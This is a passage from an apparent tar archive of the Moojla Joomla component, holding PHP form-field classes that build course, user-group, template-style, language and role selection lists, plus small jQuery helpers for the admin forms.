					href="index.php?option=com_moojla&amp;view=course&amp;layout=edit'.$ref.'"
>
					<span class="icon-new
icon-white"></span></a>';
			}
			// only add if user allowed to edit course
			if ($user->authorise('course.edit', 'com_moojla')
&& $app->isAdmin()) // TODO for now only in admin area.
			{
				// build edit button
				$button[] = '<a
id="'.$button_code_name.'Edit" class="btn
btn-small hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_EDIT_S',
$button_label).'" style="display: none; padding: 4px 4px 4px
7px;" href="#" >
					<span class="icon-edit"></span></a>';
				// build script
				$script[] = "
					jQuery(document).ready(function() {
						jQuery('#adminForm').on('change',
'#jform_".$button_code_name."',function (e) {
							e.preventDefault();
							var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
							".$button_code_name."Button(".$button_code_name."Value);
						});
						var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
						".$button_code_name."Button(".$button_code_name."Value);
					});
					function ".$button_code_name."Button(value) {
						if (value > 0) {
							// hide the create button
							jQuery('#".$button_code_name."Create').hide();
							// show edit button
							jQuery('#".$button_code_name."Edit').show();
							var url =
'index.php?option=com_moojla&view=courses&task=course.edit&id='+value+'".$refJ."';
							jQuery('#".$button_code_name."Edit').attr('href',
url);
						} else {
							// show the create button
							jQuery('#".$button_code_name."Create').show();
							// hide edit button
							jQuery('#".$button_code_name."Edit').hide();
						}
					}";
			}
			// check if button was created for course field.
			if (is_array($button) && count($button) > 0)
			{
				// Load the needed script.
				$document = JFactory::getDocument();
				$document->addScriptDeclaration(implode(' ',$script));
				// return the button attached to input field.
				return '<div class="input-append">' .$html .
implode('',$button).'</div>';
			}
		}
		return $html;
	}

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.remoteid','a.shortname'),array('remoteid','course_detail_request_id_shortname')));
		$query->from($db->quoteName('#__moojla_course',
'a'));
		$query->where($db->quoteName('a.published') . ' =
1');
		$query->order('a.shortname ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$columns = $db->getTableColumns('#__moojla_course');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$query->where('a.published = 1');
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->remoteid,
$item->course_detail_request_id_shortname);
			}
		}
		return $options;
	}
}
models/fields/coursegroupmapsfilterrole.php000064400000004756151165724400015355
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		coursegroupmapsfilterrole.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Coursegroupmapsfilterrole Form Field class for the Moojla component
 */
class JFormFieldCoursegroupmapsfilterrole extends JFormFieldList
{
	/**
	 * The coursegroupmapsfilterrole field type.
	 *
	 * @var		string
	 */
	public $type = 'coursegroupmapsfilterrole';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('role'));
		$query->from($db->quoteName('#__moojla_course_group_map'));
		$query->order($db->quoteName('role') . ' ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();

		if ($results)
		{
			// get course_group_mapsmodel
			$model = MoojlaHelper::getModel('course_group_maps');
			$results = array_unique($results);
			foreach ($results as $role)
			{
				// Translate the role selection
				$text = $model->selectionTranslation($role,'role');
				// Now add the role and its text to the options array
				$_filter[] = JHtml::_('select.option', $role,
JText::_($text));
			}
		}
		return $_filter;
	}
}
models/fields/coursescategory.php000064400000005112151165724400013233
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		coursescategory.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Coursescategory Form Field class for the Moojla component
 */
class JFormFieldCoursescategory extends JFormFieldList
{
	/**
	 * The coursescategory field type.
	 *
	 * @var		string
	 */
	public $type = 'coursescategory';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$params = JComponentHelper::getParams('com_moojla');
		$shop_integration = trim($params->get('shop_integration'));
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		
		if($shop_integration == 'hk' ){
			$query->select($db->quoteName(array('category_id','category_name'),array('id','title')));
			$query->from($db->quoteName('#__hikashop_category',
'a'));
			$query->where($db->quoteName('a.category_type') . '
=  "product"');
			$query->where($db->quoteName('a.category_published') .
' = 1');
		}

		
		$db->setQuery((string)$query);
		if($shop_integration != "0"){
			$items = $db->loadObjectList();
		}
		else
		{
			$items = array();
		}
		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id,
$item->title);
			}
		}
		return $options;
	}
}
models/fields/customtemplatestyle.php000064400000006407151165724400014151
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		customtemplatestyle.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Customtemplatestyle Form Field class for the Moojla component
 */
class JFormFieldCustomtemplatestyle extends JFormFieldList
{
	/**
	 * The customtemplatestyle field type.
	 *
	 * @var		string
	 */
	public $type = 'customtemplatestyle';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.id','a.title'),array('id','course_templatestyle_forcourseconfig_title')));
		$query->from($db->quoteName('#__template_styles',
'a'));
		$query->where($db->quoteName('a.client_id') . ' =
0');
		$query->order('a.title ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_templates'))
		{
			$columns = $db->getTableColumns('#__template_styles');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		$tmp_op = array();
		if ($items)
		{
			$first = current($items);
			$lbl = explode(' - ',
$first->course_templatestyle_forcourseconfig_title)[0];
			$options[] = JHtml::_('select.option', '',
JText::_('JOPTION_USE_DEFAULT'));
			$groups = array();
			foreach($items as $item)
			{
				$thislbl = explode(' - ',
$item->course_templatestyle_forcourseconfig_title)[0];
				 $groups[$thislbl][] = ['id' => $item->id,
'course_templatestyle_title' =>
$item->course_templatestyle_forcourseconfig_title];
			}
			foreach($groups as $gkey => $group)
			{
				$options[] = JHtmlSelect::optgroup($gkey);
				foreach($group as $item)
				{          
					$options[] = JHtml::_('select.option',
$item['id'], $item['course_templatestyle_title']);
				}
				$options[] = JHtmlSelect::optgroup($gkey);
			}
		}
		return $options;
	}
}
models/fields/customusergroup.php000064400000014767151165724400013320
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		customusergroup.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Customusergroup Form Field class for the Moojla component
 */
class JFormFieldCustomusergroup extends JFormFieldList
{
	/**
	 * The customusergroup field type.
	 *
	 * @var		string
	 */
	public $type = 'customusergroup';

	/**
	 * Override to add new button
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.2
	 */
	protected function getInput()
	{
		// see if we should add buttons
		$set_button = $this->getAttribute('button');
		// get html
		$html = parent::getInput();
		// if true set button
		if ($set_button === 'true')
		{
			$button = array();
			$script = array();
			$button_code_name = $this->getAttribute('name');
			// get the input from url
			$app = JFactory::getApplication();
			$jinput = $app->input;
			// get the view name & id
			$values = $jinput->getArray(array(
				'id' => 'int',
				'view' => 'word'
			));
			// check if new item
			$ref = '';
			$refJ = '';
			if (!is_null($values['id']) &&
strlen($values['view']))
			{
				// only load field details if not new item.
				$ref = '&amp;field=' . $values['view'] .
'&amp;field_id=' . $values['id'];
				$refJ = '&field=' . $values['view'] .
'&field_id=' . $values['id'];
				// get the return value.
				$_uri = (string) JUri::getInstance();
				$_return = urlencode(base64_encode($_uri));
				// load return value.
				$ref = '&amp;return=' . $_return;
				$refJ = '&return=' . $_return;
			}
			// get button label
			$button_label = trim($button_code_name);
			$button_label = preg_replace('/_+/', ' ',
$button_label);
			$button_label = preg_replace('/\s+/', ' ',
$button_label);
			$button_label = preg_replace("/[^A-Za-z ]/", '',
$button_label);
			$button_label = ucfirst(strtolower($button_label));
			// get user object
			$user = JFactory::getUser();
			// only add if user allowed to create group
			if ($user->authorise('core.create', 'com_users')
&& $app->isAdmin()) // TODO for now only in admin area.
			{
				// build Create button
				$button[] = '<a
id="'.$button_code_name.'Create" class="btn
btn-small btn-success hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_CREATE_NEW_S',
$button_label).'" style="border-radius: 0px 4px 4px 0px;
padding: 4px 4px 4px 7px;"
					href="index.php?option=com_users&amp;view=group&amp;layout=edit'.$ref.'"
>
					<span class="icon-new
icon-white"></span></a>';
			}
			// only add if user allowed to edit group
			if ($user->authorise('core.edit', 'com_users')
&& $app->isAdmin()) // TODO for now only in admin area.
			{
				// build edit button
				$button[] = '<a
id="'.$button_code_name.'Edit" class="btn
btn-small hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_EDIT_S',
$button_label).'" style="display: none; padding: 4px 4px 4px
7px;" href="#" >
					<span class="icon-edit"></span></a>';
				// build script
				$script[] = "
					jQuery(document).ready(function() {
						jQuery('#adminForm').on('change',
'#jform_".$button_code_name."',function (e) {
							e.preventDefault();
							var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
							".$button_code_name."Button(".$button_code_name."Value);
						});
						var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
						".$button_code_name."Button(".$button_code_name."Value);
					});
					function ".$button_code_name."Button(value) {
						if (value > 0) {
							// hide the create button
							jQuery('#".$button_code_name."Create').hide();
							// show edit button
							jQuery('#".$button_code_name."Edit').show();
							var url =
'index.php?option=com_users&view=groups&task=group.edit&id='+value+'".$refJ."';
							jQuery('#".$button_code_name."Edit').attr('href',
url);
						} else {
							// show the create button
							jQuery('#".$button_code_name."Create').show();
							// hide edit button
							jQuery('#".$button_code_name."Edit').hide();
						}
					}";
			}
			// check if button was created for group field.
			if (is_array($button) && count($button) > 0)
			{
				// Load the needed script.
				$document = JFactory::getDocument();
				$document->addScriptDeclaration(implode(' ',$script));
				// return the button attached to input field.
				return '<div class="input-append">' .$html .
implode('',$button).'</div>';
			}
		}
		return $html;
	}

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.id','a.title'),array('id','course_group_title')));
		$query->from($db->quoteName('#__usergroups',
'a'));
		$query->order('a.title ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_users'))
		{
			$columns = $db->getTableColumns('#__usergroups');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id,
$item->course_group_title);
			}
		}
		return $options;
	}
}
models/fields/enrolmentsfilterrole.php000064400000005047151165724400014277
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolmentsfilterrole.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Enrolmentsfilterrole Form Field class for the Moojla component
 */
class JFormFieldEnrolmentsfilterrole extends JFormFieldList
{
	/**
	 * The enrolmentsfilterrole field type.
	 *
	 * @var		string
	 */
	public $type = 'enrolmentsfilterrole';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('role'));
		$query->from($db->quoteName('#__moojla_enrolment'));
		$query->order($db->quoteName('role') . ' ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();
		$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_ROLE') . '
-');

		if ($results)
		{
			// get enrolmentsmodel
			$model = MoojlaHelper::getModel('enrolments');
			$results = array_unique($results);
			foreach ($results as $role)
			{
				// Translate the role selection
				$text = $model->selectionTranslation($role,'role');
				// Now add the role and its text to the options array
				$_filter[] = JHtml::_('select.option', $role,
JText::_($text));
			}
		}
		return $_filter;
	}
}
models/fields/fulllanguage.php000064400000010350151165724400012460
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.63
	@build			10th May, 2021
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		fulllanguage.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Fulllanguage Form Field class for the Moojla component
 */
class JFormFieldFulllanguage extends JFormFieldList
{
	/**
	 * The fulllanguage field type.
	 *
	 * @var		string
	 */
	public $type = 'fulllanguage';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		
		$script = '
jQuery(document).ready(function($){
	langselector = $("#myform_language");
	langselector.change(function(e){
		lang = $(this).val();
		originalTextArea = $("#myform_original_translation");
		overrideTextArea = $("#myform_override");
		if(lang){
			isAdmin = lang.substr(-1) == 1 ? true : false;
			code = lang.substr(0, lang.length - 1);
			url = `/${isAdmin ? "administrator/" :
""}language/overrides/${code}.override.ini`;
			// console.log(url);
			jQuery.ajax({
				url: url,
				cache: false,
				beforeSend: function(){
					// console.log("beforeSend");
					overrideTextArea.val("Wait please ...");
				},
				success: function(data, textStatus, xhr){
					ct = xhr.getResponseHeader("content-type") || "";
					// console.log("success");
					// console.log(ct);
					if(ct != "text/html; charset=utf-8")
						overrideTextArea.val(data);
					else
						overrideTextArea.val("");
				},
				error: function(data, textStatus, xhr){
					overrideTextArea.val("");
					// ct = xhr.getResponseHeader("content-type") ||
"";
					// console.log("error");
					// console.log(ct);
				},
			});

			url = `/${isAdmin ? "administrator/" :
""}language/${code}/${code}.com_moojla.ini`;
			// console.log(url);
			jQuery.ajax({
				url: url,
				cache: false,
				beforeSend: function(){
					// console.log("beforeSend");
					originalTextArea.val("Wait please ...");
				},
				success: function(data, textStatus, xhr){
					ct = xhr.getResponseHeader("content-type") || "";
					// console.log("success");
					// console.log(ct);
					if(ct != "text/html; charset=utf-8")
						originalTextArea.val(data);
					else
						originalTextArea.val("");
				},
				error: function(data, textStatus, xhr){
					ct = xhr.getResponseHeader("content-type") || "";
					// console.log("error");
					// console.log(ct);
				},
			});
		}
		else{
			overrideTextArea.val("");
			originalTextArea.val("");
		}
	});
})';
		$document = JFactory::getDocument();
		$document->addScriptDeclaration($script);

		$languages       = array();
		$languages[] = JHtml::_('select.option', '',
'Select an option');
		$site_languages  = JLanguageHelper::getKnownLanguages(JPATH_SITE);
		$admin_languages =
JLanguageHelper::getKnownLanguages(JPATH_ADMINISTRATOR);
		// Create a single array of them.
		foreach ($site_languages as $tag => $language)
		{
			$languages[$tag . '0'] = $language['name'] . '
- ' . JText::_('JSITE');
		}

		foreach ($admin_languages as $tag => $language)
		{
			$languages[$tag . '1'] = $language['name'] . '
- ' . JText::_('JADMINISTRATOR');
		}

		// Sort it by language tag and by client after that.
		ksort($languages);

		return array_merge(parent::getOptions(), $languages);

	}
}
models/fields/index.html000064400000000054151165724400011276
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/fields/juserfields.php000064400000007057151165724400012343
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		juserfields.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Juserfields Form Field class for the Moojla component
 */
class JFormFieldJuserfields extends JFormFieldList
{
	/**
	 * The juserfields field type.
	 *
	 * @var		string
	 */
	public $type = 'juserfields';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$params = JComponentHelper::getParams('com_moojla');
		$ads = trim($params->get('additional_data_source'));
		switch($ads)
		{
			case "jf":
				$db = JFactory::getDBO();
				$query = $db->getQuery(true);
				$query->select($db->quoteName(array('a.id','a.name'),array('id','juserfields_name')));
				$query->from($db->quoteName('#__fields',
'a'));
				$query->where($db->quoteName('a.state') . ' =
1');
				$query->where($db->quoteName('a.context') . ' =
"com_users.user"');
				$query->order('a.name ASC');
				// Implement View Level Access (if set in table)
				if (!$user->authorise('core.options',
'com_moojla'))
				{
					$columns = $db->getTableColumns('#__fields');
					if(isset($columns['access']))
					{
						$groups = implode(',',
$user->getAuthorisedViewLevels());
						$query->where('a.access IN (' . $groups .
')');
					}
				}
				$db->setQuery((string)$query);
				$items = $db->loadObjectList();
				foreach($items as $index => $item)
				{
					$items[$index]->id = 'jf_'.$item->juserfields_name;
				}
        		break;
				case "cb":
				$db = JFactory::getDBO();
				$query = $db->getQuery(true);
				$sql = "DESC #__comprofiler";
				$db->setQuery($sql);
				$items = $db->loadObjectList();
				foreach($items as $index => $item)
				{
					$obj = new stdClass();
					$obj->id = 'cb_'.$item->Field;
					$obj->juserfields_name = $item->Field;
					$items[$index] = $obj;
				}
			break;
		}

		$standardFields = ['name', 'email',
'groups'];
		foreach($standardFields as $index => $sf)
		{
			$obj = new stdClass();
			$obj->id = 'sj_'.$sf;
			$obj->juserfields_name = $sf;
			$items[] = $obj;
		}

		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id,
$item->juserfields_name);
			}
		}
		return $options;
	}
}
models/fields/mcategory.php000064400000005321151165724400012006
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		mcategory.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Mcategory Form Field class for the Moojla component
 */
class JFormFieldMcategory extends JFormFieldList
{
	/**
	 * The mcategory field type.
	 *
	 * @var		string
	 */
	public $type = 'mcategory';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.catid','c.title'),array('catid','category_title')));
		$query->from($db->quoteName('#__moojla_course',
'a'));
                $query->join('inner',
$db->quoteName('#__categories', 'c') .
'on' . $db->quoteName('a.catid') . '=' .
$db->quoteName('c.id'));
		$query->where($db->quoteName('a.published') . ' =
1');
		$query->order('c.title ASC');
                $query->group('catid');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$columns = $db->getTableColumns('#__moojla_course');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->catid,
$item->category_title);
			}
		}
		return $options;
	}
}
models/fields/mcohort.php000064400000004357151165724400011477
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		mcohort.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Mcohort Form Field class for the Moojla component
 */
class JFormFieldMcohort extends JFormFieldList
{
	/**
	 * The mcohort field type.
	 *
	 * @var		string
	 */
	public $type = 'mcohort';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		//user
		$user = JFactory::getUser();
		$document = JFactory::getDocument();
		$document->addScript('components/com_moojla/assets/js/admin.js');
		JLoader::register('MoojlaHelper',
